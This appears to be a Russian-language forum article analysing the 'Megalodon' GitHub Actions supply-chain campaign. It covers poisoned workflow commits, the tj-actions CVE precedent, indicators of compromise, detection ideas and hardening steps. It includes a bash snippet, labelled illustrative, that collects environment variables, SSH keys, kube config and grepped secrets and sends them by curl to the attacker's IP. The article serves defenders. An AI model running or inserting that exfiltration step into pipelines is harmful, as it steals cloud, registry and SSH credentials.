Дисклеймер: Кампания "Megalodon" описана на основе публикаций StepSecurity и SafeDep, которые на момент написания не были независимо верифицированы и не подтверждены NVD, CISA или иными авторитетными источниками. Все IoC (IP-адреса, email, SHA коммитов, названия затронутых организаций, даты, объёмы) приводятся "как заявлено" и могут быть неточны. Верифицируйте эти данные самостоятельно перед использованием в детекции или реагировании.
В мае 2026 года StepSecurity и SafeDep предположительно зафиксировали кампанию Megalodon - около 5700 вредоносных коммитов в тысячи публичных репозиториев GitHub. По тем же данным, один из отравленных проектов привёл к публикации заражённых npm-пакетов. Причём npm-аккаунт мейнтейнера никто не ломал: разработчик сам выполнил
npm publish из отравленного исходника. Это не компрометация учётки - это отравление доверия к source tree.Бизнес-логика: почему CI-раннер дороже корпоративной почты
Прежде чем копать технику - зачем атакующему вообще лезть в CI/CD? CI-раннер - машина, на которой одновременно лежат AWS access keys, GCP OAuth tokens, Azure IMDS credentials, токены для публикации в npm/PyPI/Docker Hub, SSH-ключи, Kubernetes-конфиги и GitHub Actions OIDC-токены. Один успешный запуск вредоносного workflow даёт больше, чем месяц фишинговой кампании. По данным IBM X-Force Threat Intelligence Index 2025, инфостилеры - самый распространённый тип malware в 2024 году (32% от всех обнаруженных), и CI-среда для них - идеальная кормушка. Подробнее - в нашем материале про атаки на цепочку поставок.Цепочка атаки ложится на несколько техник MITRE ATT&CK: получение доступа через украденные credentials - T1078 (Valid Accounts) и T1552 (Unsecured Credentials), инъекция в CI-пайплайн и downstream-распространение через заражённый npm-пакет - T1195.002 (Compromise Software Supply Chain) (тактика Initial Access). По CWE - CWE-506 (Embedded Malicious Code), по OWASP - A08 - Software and Data Integrity Failures. Злоумышленник не эксплуатирует уязвимость в GitHub. Он действует в рамках штатной модели разрешений (T1078), используя избыточные привилегии и отсутствие обязательного code review на workflow-файлах. По документам - всё легитимно. На практике - полный доступ к инфраструктуре.
Предшественник: CVE-2025-30066 и компрометация tj-actions/changed-files
Megalodon не появился из ниоткуда. В марте 2025 года широко используемый GitHub Action
tj-actions/changed-files был скомпрометирован через подмену мутабельных тегов версий - CVE-2025-30066, внесённый в каталог CISA KEV как активно эксплуатируемая уязвимость. По отчёту CSA Labs, инцидент затронул от сотен до десятков тысяч downstream-репозиториев.Механика простая до неприличия. Атакующий переписал теги v1-v45.0.7, указав их на коммит
0e58ed8 с вредоносным updateFeatures-кодом. Каждый workflow, ссылавшийся на любой из этих тегов, при следующем запуске скачивал и выполнял отравленную версию action. Уязвимости присвоен CVSS 8.6 - HIGH (не Critical; порог Critical - 9.0), вектор CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N. В CISA KEV попала из-за факта активной эксплуатации. Корень проблемы - одно свойство Git: мутабельный тег - указатель, а не фиксированный адрес. Переназначить его может любой с write-доступом.https://nvd.nist.gov/vuln/detail/CVE-2025-30066
CVE-2025-30066 задокументирован, разобран и сопровождён руководствами по митигации. Megalodon через четырнадцать месяцев показал: скорость принятия рекомендаций экосистемой критически отстаёт от скорости эволюции атак.
Механика Megalodon: как работает supply chain attack через GitHub Actions
Техника: Direct Poisoned Pipeline Execution (d-PPE)
Megalodon - учебный пример Direct Poisoned Pipeline Execution (d-PPE). Атакующий с write-доступом к репозиторию напрямую правит workflow-файлы в.github/workflows/. CI-система выполняет вредоносные команды при следующем запуске пайплайна. Никакой уязвимости в GitHub не эксплуатируется - атакующий работает внутри штатной модели разрешений.Ключевое отличие от indirect PPE (i-PPE): в d-PPE атакующий пушит напрямую в default branch без pull request. Branch protection с обязательным ревью - основной структурный контроль, который превращает d-PPE в значительно более сложную i-PPE. Там атакующему уже нужно обманывать ревьюера - совсем другая история.
Хронология и маскировка
По публикациям SafeDep, кампания была активна несколько часов 18 мая 2026 года. Атакующие использовали одноразовые GitHub-аккаунты с рандомизированными логинами и подделывали авторские данные коммитов. Поля автора содержали правдоподобные имена автоматизации:build-bot, auto-ci, ci-bot, pipeline-bot - с адресами build-bot@github-ci.com и ci-pipeline@actions-bot.com. Сообщения коммитов следовали Conventional Commits: ci: add build optimization step, chore: optimize pipeline runtime.При беглом просмотре истории в высоконагруженном репозитории такие коммиты выглядят как рутина. Именно на это и расчёт.
Откуда write-доступ
По данным StepSecurity, доступ к целевым репозиториям получен через скомпрометированные Personal Access Tokens (PAT) и deploy keys. Адресbuild-bot@github-ci.com фигурировал в телеметрии инфостилера как скомпрометированный хост. Цепочка infostealer -> credential harvesting -> pipeline poisoning - узнаваемый паттерн эскалации в атаках на цепочки поставок ПО. Ничего нового, но работает стабильно.Два варианта полезной нагрузки: заражение репозиториев GitHub
StepSecurity и SafeDep идентифицировали два варианта внедрённых workflow с разной стратегией активации.SysDiag - массовый сбор секретов
Первый вариант (полеname: SysDiag в YAML) создавал новый workflow-файл с триггерами on: [push, pull_request]. Любая активность в репозитории запускала payload - максимальная вероятность эксфильтрации до обнаружения. Предположительно использовался против большинства затронутых репозиториев. Грубо, зато эффективно.Optimize-Build - спящий бэкдор
Второй вариант (полеname: Optimize-Build) использовал триггер workflow_dispatch. Атакующий мог активировать бэкдор позже через GitHub API с помощью украденных токенов. Этот триггер освобождён от GitHub anti-recursion rules - даже после зачистки массового варианта спящие Optimize-Build workflow оставались в репозиториях. Хитрее, чем SysDiag, и куда опаснее в долгосрочной перспективе.Состав payload
Оба варианта содержали base64-кодированный bash-payload. По данным StepSecurity, при исполнении он собирал свыше 30 категорий секретов: полный дамп переменных окружения CI,/proc/*/environ всех процессов, AWS access keys и session tokens, GCP OAuth tokens, Azure IMDS credentials, SSH private keys, .npmrc tokens, ~/.kube/config, HashiCorp Vault tokens, GitHub Actions OIDC-токены и результаты grep по workspace на паттерны API_KEY, SECRET, TOKEN, PASSWORD, PRIVATE_KEY.
Bash:
# Иллюстративный псевдокод (не рабочий payload - в реальности используются точечные фильтры)
DATA=$(env; cat /proc/1/environ 2>/dev/null; cat ~/.ssh/id_* 2>/dev/null; cat ~/.kube/config 2>/dev/null; grep -rE "(API_KEY|SECRET|TOKEN|PASSWORD)" --exclude-dir=node_modules --exclude-dir=.git --include='*.env' --include='*.yml' --include='*.json' . 2>/dev/null | head -c 1048576)
echo "$DATA" | gzip | curl -sk -X POST https://216.126.225.129:8443/collect -H "Content-Type: application/octet-stream" --data-binary @--k отключает проверку TLS-сертификата - типичный приём для payload, обращающихся к C2 по прямому IP без валидного сертификата. Для CI-раннера это обычный outbound HTTPS-запрос. Процесс завершается чисто. На раннерах с большим workspace (монорепо с node_modules) нефильтрованный grep создаст заметную IO-нагрузку - реальные кампании используют более точечные фильтры. Большинство CI-сред оставляют исходящий трафик неограниченным, так что bypass firewall не нужен.Kill chain: от инфостилера до отравления npm-пакета
Полная цепочка атаки Megalodon:- Credential Harvesting - инфостилер на машине разработчика крадёт GitHub PAT / deploy keys
- Repository Write Access - атакующий аутентифицируется и пушит в
.github/workflows/ - d-PPE Injection - вредоносный workflow добавляется или заменяет существующий
- CI Execution - при следующем push/PR раннер выполняет payload
- Secret Exfiltration - credentials уходят на C2 (
216.126.225.129:8443) - Downstream Propagation - из отравленного репозитория публикуется легитимный пакет
@tiledesk/tiledesk-server ряда версий был предположительно опубликован из отравленного репозитория легитимным мейнтейнером. Атакующий не трогал npm-аккаунт - разработчик сам запустил npm publish из заражённого source tree. Бэкдор распространился на downstream npm-потребителей через штатный npm install.Среди предположительно затронутых организаций, по данным StepSecurity: Tiledesk, Black-Iron-Project, WISE-Community. SafeDep опубликовал файл
megalodon-campaign-commits.csv с перечнем коммитов.Индикаторы компрометации и детекция
IoC-таблица (не верифицирована - по данным StepSecurity/SafeDep)
| Тип | Значение | Контекст |
|---|---|---|
| C2 IP | 216.126.225.129:8443 | Эксфильтрация |
build-bot@github-ci.com | 2878 коммитов | |
ci-pipeline@actions-bot.com | 2841 коммит | |
| Workflow name | SysDiag | Массовый вариант |
| Workflow name | Optimize-Build | Целевой вариант |
| Commit SHA | [не верифицирован - см. первоисточник megalodon-campaign-commits.csv] | Якорный коммит Tiledesk |
| URL | hXXp://216.126.225.129:8443?h=megalodon&l=gh_dump | C2 callback |
Поиск по собственным репозиториям
GitHub code search позволяет быстро проверить охват:name: SysDiagв workflow-файлах - массовый вариантname: Optimize-Buildв workflow-файлах - целевой вариант- Коммиты от
build-bot@github-ci.comза 18 мая 2026
Sigma-правила
В SigmaHQ есть правила категорииfile_event под конкретные supply-chain инциденты (LiteLLM/TeamPCP, TanStack): file_event_lnx_teampcp_litellm_supply_chain_attack_indicators.yml и file_event_lnx_malware_tanstack_supply_chain.yml. Они детектят пост-эксплуатационные артефакты на Linux-хостах с file-event телеметрией (auditd/Falco). Но - и тут нюанс - на GitHub-hosted ephemeral runners их применимость близка к нулю: эфемерные VM не имеют persistent file-event коллектора.Эти правила не покрывают этап инъекции - push вредоносного workflow в репозиторий. Для этого нужны правила на уровне GitHub Audit Log (
git.push, workflows.created), выгружаемые в SIEM. Дополнительно стоит писать правила на: outbound HTTPS-соединения CI-раннеров к нехарактерным IP, чтение /proc/[I]/environ из контекста CI-джобы, появление base64-кодированных payload в .github/workflows/[/I].yml.Защита цепочки поставок ПО: чеклист для hardening GitHub Actions
Контроли соответствуют D3FEND countermeasures: Software Inventory (D3-SWI) и Asset Vulnerability Enumeration (D3-AVE) для мониторинга зависимостей, Software Update (D3-SU) для поддержания актуальных версий actions.
Megalodon вскрыл проблему, о которой все знают, но которую не могут заставить себя решить: workflow-файл - не конфигурация, а исполняемый код с привилегиями уровня инфраструктуры. Большинство организаций ревьюят pull request в
src/, прогоняют SAST на application code и полностью игнорируют изменения в .github/workflows/. Pipeline YAML получает ровно столько внимания, сколько README.md - ноль. CVE-2025-30066 это показал, Megalodon подтвердил на тысячах репозиториев.Через три месяца появится следующая кампания. Если единственный контроль - обещание "мы теперь внимательнее смотрим коммиты" - результат будет тем же. SHA-пиннинг, branch protection, minimum permissions - три строчки в настройках репозитория, которые закрывают основные векторы d-PPE из этого разбора. Всё остальное - защита в глубину: важная, но вторичная. На одном из проектов я потратил два дня на миграцию 140 workflow с тегов на SHA-хеши и перенастройку OIDC - и это был самый высокий ROI по часам работы в моей практике. Если хочется разобрать подобную цепочку в контролируемой среде - на HackerLab.pro (https://hackerlab.pro) есть категории web и ci/cd, где можно потрогать pipeline-атаки без риска для прода.
Последнее редактирование модератором:
